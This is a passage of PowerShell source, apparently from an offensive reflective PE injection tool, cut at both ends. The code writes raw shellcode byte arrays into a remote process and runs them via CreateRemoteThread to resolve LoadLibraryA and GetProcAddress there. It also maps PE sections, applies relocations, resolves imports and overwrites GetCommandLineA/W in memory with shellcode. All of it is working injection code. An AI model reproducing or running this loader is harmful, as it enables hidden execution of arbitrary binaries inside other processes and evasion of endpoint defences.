($PEInfo.PE64Bit -eq $true) { $LoadLibraryARetMem = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, $DllPathSize, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_READWRITE) if ($LoadLibraryARetMem -eq [IntPtr]::Zero) { Throw "Unable to allocate memory in the remote process for the return value of LoadLibraryA" } $LoadLibrarySC1 = @(0x53, 0x48, 0x89, 0xe3, 0x48, 0x83, 0xec, 0x20, 0x66, 0x83, 0xe4, 0xc0, 0x48, 0xb9) $LoadLibrarySC2 = @(0x48, 0xba) $LoadLibrarySC3 = @(0xff, 0xd2, 0x48, 0xba) $LoadLibrarySC4 = @(0x48, 0x89, 0x02, 0x48, 0x89, 0xdc, 0x5b, 0xc3) $SCLength = $LoadLibrarySC1.Length + $LoadLibrarySC2.Length + $LoadLibrarySC3.Length + $LoadLibrarySC4.Length + ($PtrSize * 3) $SCPSMem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($SCLength) $SCPSMemOriginal = $SCPSMem Write-BytesToMemory -Bytes $LoadLibrarySC1 -MemoryAddress $SCPSMem $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($LoadLibrarySC1.Length) [System.Runtime.InteropServices.Marshal]::StructureToPtr($RImportDllPathPtr, $SCPSMem, $false) $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize) Write-BytesToMemory -Bytes $LoadLibrarySC2 -MemoryAddress $SCPSMem $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($LoadLibrarySC2.Length) [System.Runtime.InteropServices.Marshal]::StructureToPtr($LoadLibraryAAddr, $SCPSMem, $false) $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize) Write-BytesToMemory -Bytes $LoadLibrarySC3 -MemoryAddress $SCPSMem $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($LoadLibrarySC3.Length) [System.Runtime.InteropServices.Marshal]::StructureToPtr($LoadLibraryARetMem, $SCPSMem, $false) $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize) Write-BytesToMemory -Bytes $LoadLibrarySC4 -MemoryAddress $SCPSMem $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($LoadLibrarySC4.Length) $RSCAddr = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, [UIntPtr][UInt64]$SCLength, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_EXECUTE_READWRITE) if ($RSCAddr -eq [IntPtr]::Zero) { Throw "Unable to allocate memory in the remote process for shellcode" } $Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $RSCAddr, $SCPSMemOriginal, [UIntPtr][UInt64]$SCLength, [Ref]$NumBytesWritten) if (($Success -eq $false) -or ([UInt64]$NumBytesWritten -ne [UInt64]$SCLength)) { Throw "Unable to write shellcode to remote process memory." } $RThreadHandle = Create-RemoteThread -ProcessHandle $RemoteProcHandle -StartAddress $RSCAddr -Win32Functions $Win32Functions $Result = $Win32Functions.WaitForSingleObject.Invoke($RThreadHandle, 20000) if ($Result -ne 0) { Throw "Call to CreateRemoteThread to call GetProcAddress failed." } [IntPtr]$ReturnValMem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($PtrSize) $Result = $Win32Functions.ReadProcessMemory.Invoke($RemoteProcHandle, $LoadLibraryARetMem, $ReturnValMem, [UIntPtr][UInt64]$PtrSize, [Ref]$NumBytesWritten) if ($Result -eq $false) { Throw "Call to ReadProcessMemory failed" } [IntPtr]$DllAddress = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ReturnValMem, [Type][IntPtr]) $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $LoadLibraryARetMem, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $RSCAddr, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null } else { [IntPtr]$RThreadHandle = Create-RemoteThread -ProcessHandle $RemoteProcHandle -StartAddress $LoadLibraryAAddr -ArgumentPtr $RImportDllPathPtr -Win32Functions $Win32Functions $Result = $Win32Functions.WaitForSingleObject.Invoke($RThreadHandle, 20000) if ($Result -ne 0) { Throw "Call to CreateRemoteThread to call GetProcAddress failed." } [Int32]$ExitCode = 0 $Result = $Win32Functions.GetExitCodeThread.Invoke($RThreadHandle, [Ref]$ExitCode) if (($Result -eq 0) -or ($ExitCode -eq 0)) { Throw "Call to GetExitCodeThread failed" } [IntPtr]$DllAddress = [IntPtr]$ExitCode } $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $RImportDllPathPtr, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null return $DllAddress } Function Get-RemoteProcAddress { Param( [Parameter(Position=0, Mandatory=$true)] [IntPtr] $RemoteProcHandle, [Parameter(Position=1, Mandatory=$true)] [IntPtr] $RemoteDllHandle, [Parameter(Position=2, Mandatory=$true)] [IntPtr] $FunctionNamePtr, [Parameter(Position=3, Mandatory=$true)] [Bool] $LoadByOrdinal ) $PtrSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) [IntPtr]$RFuncNamePtr = [IntPtr]::Zero if (-not $LoadByOrdinal) { $FunctionName = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($FunctionNamePtr) $FunctionNameSize = [UIntPtr][UInt64]([UInt64]$FunctionName.Length + 1) $RFuncNamePtr = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, $FunctionNameSize, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_READWRITE) if ($RFuncNamePtr -eq [IntPtr]::Zero) { Throw "Unable to allocate memory in the remote process" } [UIntPtr]$NumBytesWritten = [UIntPtr]::Zero $Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $RFuncNamePtr, $FunctionNamePtr, $FunctionNameSize, [Ref]$NumBytesWritten) if ($Success -eq $false) { Throw "Unable to write DLL path to remote process memory" } if ($FunctionNameSize -ne $NumBytesWritten) { Throw "Didnt write the expected amount of bytes when writing a DLL path to load to the remote process" } } else { $RFuncNamePtr = $FunctionNamePtr } #Get address of GetProcAddress $Kernel32Handle = $Win32Functions.GetModuleHandle.Invoke("kernel32.dll") $GetProcAddressAddr = $Win32Functions.GetProcAddress.Invoke($Kernel32Handle, "GetProcAddress") #Kernel32 loaded to the same address for all processes #Allocate memory for the address returned by GetProcAddress $GetProcAddressRetMem = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, [UInt64][UInt64]$PtrSize, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_READWRITE) if ($GetProcAddressRetMem -eq [IntPtr]::Zero) { Throw "Unable to allocate memory in the remote process for the return value of GetProcAddress" } [Byte[]]$GetProcAddressSC = @() if ($PEInfo.PE64Bit -eq $true) { $GetProcAddressSC1 = @(0x53, 0x48, 0x89, 0xe3, 0x48, 0x83, 0xec, 0x20, 0x66, 0x83, 0xe4, 0xc0, 0x48, 0xb9) $GetProcAddressSC2 = @(0x48, 0xba) $GetProcAddressSC3 = @(0x48, 0xb8) $GetProcAddressSC4 = @(0xff, 0xd0, 0x48, 0xb9) $GetProcAddressSC5 = @(0x48, 0x89, 0x01, 0x48, 0x89, 0xdc, 0x5b, 0xc3) } else { $GetProcAddressSC1 = @(0x53, 0x89, 0xe3, 0x83, 0xe4, 0xc0, 0xb8) $GetProcAddressSC2 = @(0xb9) $GetProcAddressSC3 = @(0x51, 0x50, 0xb8) $GetProcAddressSC4 = @(0xff, 0xd0, 0xb9) $GetProcAddressSC5 = @(0x89, 0x01, 0x89, 0xdc, 0x5b, 0xc3) } $SCLength = $GetProcAddressSC1.Length + $GetProcAddressSC2.Length + $GetProcAddressSC3.Length + $GetProcAddressSC4.Length + $GetProcAddressSC5.Length + ($PtrSize * 4) $SCPSMem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($SCLength) $SCPSMemOriginal = $SCPSMem Write-BytesToMemory -Bytes $GetProcAddressSC1 -MemoryAddress $SCPSMem $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($GetProcAddressSC1.Length) [System.Runtime.InteropServices.Marshal]::StructureToPtr($RemoteDllHandle, $SCPSMem, $false) $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize) Write-BytesToMemory -Bytes $GetProcAddressSC2 -MemoryAddress $SCPSMem $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($GetProcAddressSC2.Length) [System.Runtime.InteropServices.Marshal]::StructureToPtr($RFuncNamePtr, $SCPSMem, $false) $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize) Write-BytesToMemory -Bytes $GetProcAddressSC3 -MemoryAddress $SCPSMem $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($GetProcAddressSC3.Length) [System.Runtime.InteropServices.Marshal]::StructureToPtr($GetProcAddressAddr, $SCPSMem, $false) $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize) Write-BytesToMemory -Bytes $GetProcAddressSC4 -MemoryAddress $SCPSMem $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($GetProcAddressSC4.Length) [System.Runtime.InteropServices.Marshal]::StructureToPtr($GetProcAddressRetMem, $SCPSMem, $false) $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize) Write-BytesToMemory -Bytes $GetProcAddressSC5 -MemoryAddress $SCPSMem $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($GetProcAddressSC5.Length) $RSCAddr = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, [UIntPtr][UInt64]$SCLength, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_EXECUTE_READWRITE) if ($RSCAddr -eq [IntPtr]::Zero) { Throw "Unable to allocate memory in the remote process for shellcode" } [UIntPtr]$NumBytesWritten = [UIntPtr]::Zero $Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $RSCAddr, $SCPSMemOriginal, [UIntPtr][UInt64]$SCLength, [Ref]$NumBytesWritten) if (($Success -eq $false) -or ([UInt64]$NumBytesWritten -ne [UInt64]$SCLength)) { Throw "Unable to write shellcode to remote process memory." } $RThreadHandle = Create-RemoteThread -ProcessHandle $RemoteProcHandle -StartAddress $RSCAddr -Win32Functions $Win32Functions $Result = $Win32Functions.WaitForSingleObject.Invoke($RThreadHandle, 20000) if ($Result -ne 0) { Throw "Call to CreateRemoteThread to call GetProcAddress failed." } [IntPtr]$ReturnValMem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($PtrSize) $Result = $Win32Functions.ReadProcessMemory.Invoke($RemoteProcHandle, $GetProcAddressRetMem, $ReturnValMem, [UIntPtr][UInt64]$PtrSize, [Ref]$NumBytesWritten) if (($Result -eq $false) -or ($NumBytesWritten -eq 0)) { Throw "Call to ReadProcessMemory failed" } [IntPtr]$ProcAddress = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ReturnValMem, [Type][IntPtr]) $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $RSCAddr, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $GetProcAddressRetMem, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null if (-not $LoadByOrdinal) { $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $RFuncNamePtr, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null } return $ProcAddress } Function Copy-Sections { Param( [Parameter(Position = 0, Mandatory = $true)] [Byte[]] $PEBytes, [Parameter(Position = 1, Mandatory = $true)] [System.Object] $PEInfo, [Parameter(Position = 2, Mandatory = $true)] [System.Object] $Win32Functions, [Parameter(Position = 3, Mandatory = $true)] [System.Object] $Win32Types ) for( $i = 0; $i -lt $PEInfo.IMAGE_NT_HEADERS.FileHeader.NumberOfSections; $i++) { [IntPtr]$SectionHeaderPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.SectionHeaderPtr) ($i * [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_SECTION_HEADER))) $SectionHeader = [System.Runtime.InteropServices.Marshal]::PtrToStructure($SectionHeaderPtr, [Type]$Win32Types.IMAGE_SECTION_HEADER) [IntPtr]$SectionDestAddr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$SectionHeader.VirtualAddress)) $SizeOfRawData = $SectionHeader.SizeOfRawData if ($SectionHeader.PointerToRawData -eq 0) { $SizeOfRawData = 0 } if ($SizeOfRawData -gt $SectionHeader.VirtualSize) { $SizeOfRawData = $SectionHeader.VirtualSize } if ($SizeOfRawData -gt 0) { Test-MemoryRangeValid -DebugString "Copy-Sections::MarshalCopy" -PEInfo $PEInfo -StartAddress $SectionDestAddr -Size $SizeOfRawData | Out-Null [System.Runtime.InteropServices.Marshal]::Copy($PEBytes, [Int32]$SectionHeader.PointerToRawData, $SectionDestAddr, $SizeOfRawData) } if ($SectionHeader.SizeOfRawData -lt $SectionHeader.VirtualSize) { $Difference = $SectionHeader.VirtualSize - $SizeOfRawData [IntPtr]$StartAddress = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$SectionDestAddr) ([Int64]$SizeOfRawData)) Test-MemoryRangeValid -DebugString "Copy-Sections::Memset" -PEInfo $PEInfo -StartAddress $StartAddress -Size $Difference | Out-Null $Win32Functions.memset.Invoke($StartAddress, 0, [IntPtr]$Difference) | Out-Null } } } Function Update-MemoryAddresses { Param( [Parameter(Position = 0, Mandatory = $true)] [System.Object] $PEInfo, [Parameter(Position = 1, Mandatory = $true)] [Int64] $OriginalImageBase, [Parameter(Position = 2, Mandatory = $true)] [System.Object] $Win32Constants, [Parameter(Position = 3, Mandatory = $true)] [System.Object] $Win32Types ) [Int64]$BaseDifference = 0 $AddDifference = $true [UInt32]$ImageBaseRelocSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_BASE_RELOCATION) if (($OriginalImageBase -eq [Int64]$PEInfo.EffectivePEHandle) ` -or ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.BaseRelocationTable.Size -eq 0)) { return } elseif ((Compare-Val1GreaterThanVal2AsUInt ($OriginalImageBase) ($PEInfo.EffectivePEHandle)) -eq $true) { $BaseDifference = Sub-SignedIntAsUnsigned ($OriginalImageBase) ($PEInfo.EffectivePEHandle) $AddDifference = $false } elseif ((Compare-Val1GreaterThanVal2AsUInt ($PEInfo.EffectivePEHandle) ($OriginalImageBase)) -eq $true) { $BaseDifference = Sub-SignedIntAsUnsigned ($PEInfo.EffectivePEHandle) ($OriginalImageBase) } [IntPtr]$BaseRelocPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$PEInfo.IMAGE_NT_HEADERS.OptionalHeader.BaseRelocationTable.VirtualAddress)) while($true) { $BaseRelocationTable = [System.Runtime.InteropServices.Marshal]::PtrToStructure($BaseRelocPtr, [Type]$Win32Types.IMAGE_BASE_RELOCATION) if ($BaseRelocationTable.SizeOfBlock -eq 0) { break } [IntPtr]$MemAddrBase = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$BaseRelocationTable.VirtualAddress)) $NumRelocations = ($BaseRelocationTable.SizeOfBlock - $ImageBaseRelocSize) / 2 for($i = 0; $i -lt $NumRelocations; $i++) { #Get info for this relocation $RelocationInfoPtr = [IntPtr](Add-SignedIntAsUnsigned ([IntPtr]$BaseRelocPtr) ([Int64]$ImageBaseRelocSize + (2 * $i))) [UInt16]$RelocationInfo = [System.Runtime.InteropServices.Marshal]::PtrToStructure($RelocationInfoPtr, [Type][UInt16]) #First 4 bits is the relocation type, last 12 bits is the address offset from $MemAddrBase [UInt16]$RelocOffset = $RelocationInfo -band 0x0FFF [UInt16]$RelocType = $RelocationInfo -band 0xF000 for ($j = 0; $j -lt 12; $j++) { $RelocType = [Math]::Floor($RelocType / 2) } if (($RelocType -eq $Win32Constants.IMAGE_REL_BASED_HIGHLOW) ` -or ($RelocType -eq $Win32Constants.IMAGE_REL_BASED_DIR64)) { [IntPtr]$FinalAddr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$MemAddrBase) ([Int64]$RelocOffset)) [IntPtr]$CurrAddr = [System.Runtime.InteropServices.Marshal]::PtrToStructure($FinalAddr, [Type][IntPtr]) if ($AddDifference -eq $true) { [IntPtr]$CurrAddr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$CurrAddr) ($BaseDifference)) } else { [IntPtr]$CurrAddr = [IntPtr](Sub-SignedIntAsUnsigned ([Int64]$CurrAddr) ($BaseDifference)) } [System.Runtime.InteropServices.Marshal]::StructureToPtr($CurrAddr, $FinalAddr, $false) | Out-Null } elseif ($RelocType -ne $Win32Constants.IMAGE_REL_BASED_ABSOLUTE) { Throw "Unknown relocation found, relocation value: $RelocType, relocationinfo: $RelocationInfo" } } $BaseRelocPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$BaseRelocPtr) ([Int64]$BaseRelocationTable.SizeOfBlock)) } } Function Import-DllImports { Param( [Parameter(Position = 0, Mandatory = $true)] [System.Object] $PEInfo, [Parameter(Position = 1, Mandatory = $true)] [System.Object] $Win32Functions, [Parameter(Position = 2, Mandatory = $true)] [System.Object] $Win32Types, [Parameter(Position = 3, Mandatory = $true)] [System.Object] $Win32Constants, [Parameter(Position = 4, Mandatory = $false)] [IntPtr] $RemoteProcHandle ) $RemoteLoading = $false if ($PEInfo.PEHandle -ne $PEInfo.EffectivePEHandle) { $RemoteLoading = $true } if ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.ImportTable.Size -gt 0) { [IntPtr]$ImportDescriptorPtr = Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$PEInfo.IMAGE_NT_HEADERS.OptionalHeader.ImportTable.VirtualAddress) while ($true) { $ImportDescriptor = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ImportDescriptorPtr, [Type]$Win32Types.IMAGE_IMPORT_DESCRIPTOR) if ($ImportDescriptor.Characteristics -eq 0 ` -and $ImportDescriptor.FirstThunk -eq 0 ` -and $ImportDescriptor.ForwarderChain -eq 0 ` -and $ImportDescriptor.Name -eq 0 ` -and $ImportDescriptor.TimeDateStamp -eq 0) { Write-Verbose "Done importing DLL imports" break } $ImportDllHandle = [IntPtr]::Zero $ImportDllPathPtr = (Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$ImportDescriptor.Name)) $ImportDllPath = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($ImportDllPathPtr) if ($RemoteLoading -eq $true) { $ImportDllHandle = Import-DllInRemoteProcess -RemoteProcHandle $RemoteProcHandle -ImportDllPathPtr $ImportDllPathPtr } else { $ImportDllHandle = $Win32Functions.LoadLibrary.Invoke($ImportDllPath) } if (($ImportDllHandle -eq $null) -or ($ImportDllHandle -eq [IntPtr]::Zero)) { throw "Error importing DLL, DLLName: $ImportDllPath" } [IntPtr]$ThunkRef = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($ImportDescriptor.FirstThunk) [IntPtr]$OriginalThunkRef = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($ImportDescriptor.Characteristics) #Characteristics is overloaded with OriginalFirstThunk [IntPtr]$OriginalThunkRefVal = [System.Runtime.InteropServices.Marshal]::PtrToStructure($OriginalThunkRef, [Type][IntPtr]) while ($OriginalThunkRefVal -ne [IntPtr]::Zero) { $LoadByOrdinal = $false [IntPtr]$ProcedureNamePtr = [IntPtr]::Zero [IntPtr]$NewThunkRef = [IntPtr]::Zero if([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) -eq 4 -and [Int32]$OriginalThunkRefVal -lt 0) { [IntPtr]$ProcedureNamePtr = [IntPtr]$OriginalThunkRefVal -band 0xffff #This is actually a lookup by ordinal $LoadByOrdinal = $true } elseif([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) -eq 8 -and [Int64]$OriginalThunkRefVal -lt 0) { [IntPtr]$ProcedureNamePtr = [Int64]$OriginalThunkRefVal -band 0xffff #This is actually a lookup by ordinal $LoadByOrdinal = $true } else { [IntPtr]$StringAddr = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($OriginalThunkRefVal) $StringAddr = Add-SignedIntAsUnsigned $StringAddr ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][UInt16])) $ProcedureName = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($StringAddr) $ProcedureNamePtr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalAnsi($ProcedureName) } if ($RemoteLoading -eq $true) { [IntPtr]$NewThunkRef = Get-RemoteProcAddress -RemoteProcHandle $RemoteProcHandle -RemoteDllHandle $ImportDllHandle -FunctionNamePtr $ProcedureNamePtr -LoadByOrdinal $LoadByOrdinal } else { [IntPtr]$NewThunkRef = $Win32Functions.GetProcAddressIntPtr.Invoke($ImportDllHandle, $ProcedureNamePtr) } if ($NewThunkRef -eq $null -or $NewThunkRef -eq [IntPtr]::Zero) { if ($LoadByOrdinal) { Throw "New function reference is null, this is almost certainly a bug in this script. Function Ordinal: $ProcedureNamePtr. Dll: $ImportDllPath" } else { Throw "New function reference is null, this is almost certainly a bug in this script. Function: $ProcedureName. Dll: $ImportDllPath" } } [System.Runtime.InteropServices.Marshal]::StructureToPtr($NewThunkRef, $ThunkRef, $false) $ThunkRef = Add-SignedIntAsUnsigned ([Int64]$ThunkRef) ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr])) [IntPtr]$OriginalThunkRef = Add-SignedIntAsUnsigned ([Int64]$OriginalThunkRef) ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr])) [IntPtr]$OriginalThunkRefVal = [System.Runtime.InteropServices.Marshal]::PtrToStructure($OriginalThunkRef, [Type][IntPtr]) if ((-not $LoadByOrdinal) -and ($ProcedureNamePtr -ne [IntPtr]::Zero)) { [System.Runtime.InteropServices.Marshal]::FreeHGlobal($ProcedureNamePtr) $ProcedureNamePtr = [IntPtr]::Zero } } $ImportDescriptorPtr = Add-SignedIntAsUnsigned ($ImportDescriptorPtr) ([System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_IMPORT_DESCRIPTOR)) } } } Function Get-VirtualProtectValue { Param( [Parameter(Position = 0, Mandatory = $true)] [UInt32] $SectionCharacteristics ) $ProtectionFlag = 0x0 if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_EXECUTE) -gt 0) { if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_READ) -gt 0) { if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_WRITE) -gt 0) { $ProtectionFlag = $Win32Constants.PAGE_EXECUTE_READWRITE } else { $ProtectionFlag = $Win32Constants.PAGE_EXECUTE_READ } } else { if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_WRITE) -gt 0) { $ProtectionFlag = $Win32Constants.PAGE_EXECUTE_WRITECOPY } else { $ProtectionFlag = $Win32Constants.PAGE_EXECUTE } } } else { if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_READ) -gt 0) { if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_WRITE) -gt 0) { $ProtectionFlag = $Win32Constants.PAGE_READWRITE } else { $ProtectionFlag = $Win32Constants.PAGE_READONLY } } else { if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_WRITE) -gt 0) { $ProtectionFlag = $Win32Constants.PAGE_WRITECOPY } else { $ProtectionFlag = $Win32Constants.PAGE_NOACCESS } } } if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_NOT_CACHED) -gt 0) { $ProtectionFlag = $ProtectionFlag -bor $Win32Constants.PAGE_NOCACHE } return $ProtectionFlag } Function Update-MemoryProtectionFlags { Param( [Parameter(Position = 0, Mandatory = $true)] [System.Object] $PEInfo, [Parameter(Position = 1, Mandatory = $true)] [System.Object] $Win32Functions, [Parameter(Position = 2, Mandatory = $true)] [System.Object] $Win32Constants, [Parameter(Position = 3, Mandatory = $true)] [System.Object] $Win32Types ) for( $i = 0; $i -lt $PEInfo.IMAGE_NT_HEADERS.FileHeader.NumberOfSections; $i++) { [IntPtr]$SectionHeaderPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.SectionHeaderPtr) ($i * [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_SECTION_HEADER))) $SectionHeader = [System.Runtime.InteropServices.Marshal]::PtrToStructure($SectionHeaderPtr, [Type]$Win32Types.IMAGE_SECTION_HEADER) [IntPtr]$SectionPtr = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($SectionHeader.VirtualAddress) [UInt32]$ProtectFlag = Get-VirtualProtectValue $SectionHeader.Characteristics [UInt32]$SectionSize = $SectionHeader.VirtualSize [UInt32]$OldProtectFlag = 0 Test-MemoryRangeValid -DebugString "Update-MemoryProtectionFlags::VirtualProtect" -PEInfo $PEInfo -StartAddress $SectionPtr -Size $SectionSize | Out-Null $Success = $Win32Functions.VirtualProtect.Invoke($SectionPtr, $SectionSize, $ProtectFlag, [Ref]$OldProtectFlag) if ($Success -eq $false) { Throw "Unable to change memory protection" } } } Function Update-ExeFunctions { Param( [Parameter(Position = 0, Mandatory = $true)] [System.Object] $PEInfo, [Parameter(Position = 1, Mandatory = $true)] [System.Object] $Win32Functions, [Parameter(Position = 2, Mandatory = $true)] [System.Object] $Win32Constants, [Parameter(Position = 3, Mandatory = $true)] [String] $ExeArguments, [Parameter(Position = 4, Mandatory = $true)] [IntPtr] $ExeDoneBytePtr ) $ReturnArray = @() $PtrSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) [UInt32]$OldProtectFlag = 0 [IntPtr]$Kernel32Handle = $Win32Functions.GetModuleHandle.Invoke("Kernel32.dll") if ($Kernel32Handle -eq [IntPtr]::Zero) { throw "Kernel32 handle null" } [IntPtr]$KernelBaseHandle = $Win32Functions.GetModuleHandle.Invoke("KernelBase.dll") if ($KernelBaseHandle -eq [IntPtr]::Zero) { throw "KernelBase handle null" } $CmdLineWArgsPtr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalUni($ExeArguments) $CmdLineAArgsPtr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalAnsi($ExeArguments) [IntPtr]$GetCommandLineAAddr = $Win32Functions.GetProcAddress.Invoke($KernelBaseHandle, "GetCommandLineA") [IntPtr]$GetCommandLineWAddr = $Win32Functions.GetProcAddress.Invoke($KernelBaseHandle, "GetCommandLineW") if ($GetCommandLineAAddr -eq [IntPtr]::Zero -or $GetCommandLineWAddr -eq [IntPtr]::Zero) { throw "GetCommandLine ptr null. GetCommandLineA: $(Get-Hex $GetCommandLineAAddr). GetCommandLineW: $(Get-Hex $GetCommandLineWAddr)" } [Byte[]]$Shellcode1 = @() if ($PtrSize -eq 8) { $Shellcode1 += 0x48 } $Shellcode1 += 0xb8 [Byte[]]$Shellcode2 = @(0xc3) $TotalSize = $Shellcode1.Length + $PtrSize + $Shellcode2.Length $GetCommandLineAOrigBytesPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($TotalSize) $GetCommandLineWOrigBytesPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($TotalSize) $Win32Functions.memcpy.Invoke($GetCommandLineAOrigBytesPtr, $GetCommandLineAAddr, [UInt64]$TotalSize) | Out-Null $Win32Functions.memcpy.Invoke($GetCommandLineWOrigBytesPtr, $GetCommandLineWAddr, [UInt64]$TotalSize) | Out-Null $ReturnArray += ,($GetCommandLineAAddr, $GetCommandLineAOrigBytesPtr, $TotalSize) $ReturnArray += ,($GetCommandLineWAddr, $GetCommandLineWOrigBytesPtr, $TotalSize) [UInt32]$OldProtectFlag = 0 $Success = $Win32Functions.VirtualProtect.Invoke($GetCommandLineAAddr, [UInt32]$TotalSize, [UInt32]($Win32Constants.PAGE_EXECUTE_READWRITE), [Ref]$OldProtectFlag) if ($Success = $false) { throw "Call to VirtualProtect failed" } $GetCommandLineAAddrTemp = $GetCommandLineAAddr Write-BytesToMemory -Bytes $Shellcode1 -MemoryAddress $GetCommandLineAAddrTemp $GetCommandLineAAddrTemp = Add-SignedIntAsUnsigned $GetCommandLineAAddrTemp ($Shellcode1.Length) [System.Runtime.InteropServices.Marshal]::StructureToPtr($CmdLineAArgsPtr, $GetCommandLineAAddrTemp, $false) $GetCommandLineAAddrTemp = Add-SignedIntAsUnsigned $GetCommandLineAAddrTemp $PtrSize Write-BytesToMemory -Bytes $Shellcode2 -MemoryAddress $GetCommandLineAAddrTemp $Win32Functions.VirtualProtect.Invoke($GetCommandLineAAddr, [UInt32]$TotalSize, [UInt32]$OldProtectFlag, [Ref]$OldProtectFlag) | Out-Null [UInt32]$OldProtectFlag = 0 $Success = $Win32Functions.VirtualProtect.Invoke($GetCommandLineWAddr, [UInt32]$TotalSize, [UInt32]($Win32Constants.PAGE_EXECUTE_READWRITE), [Ref]$OldProtectFlag) if ($Success = $false) { throw "Call to VirtualProtect failed" } $GetCommandLineWAddrTemp = $GetCommandLineWAddr 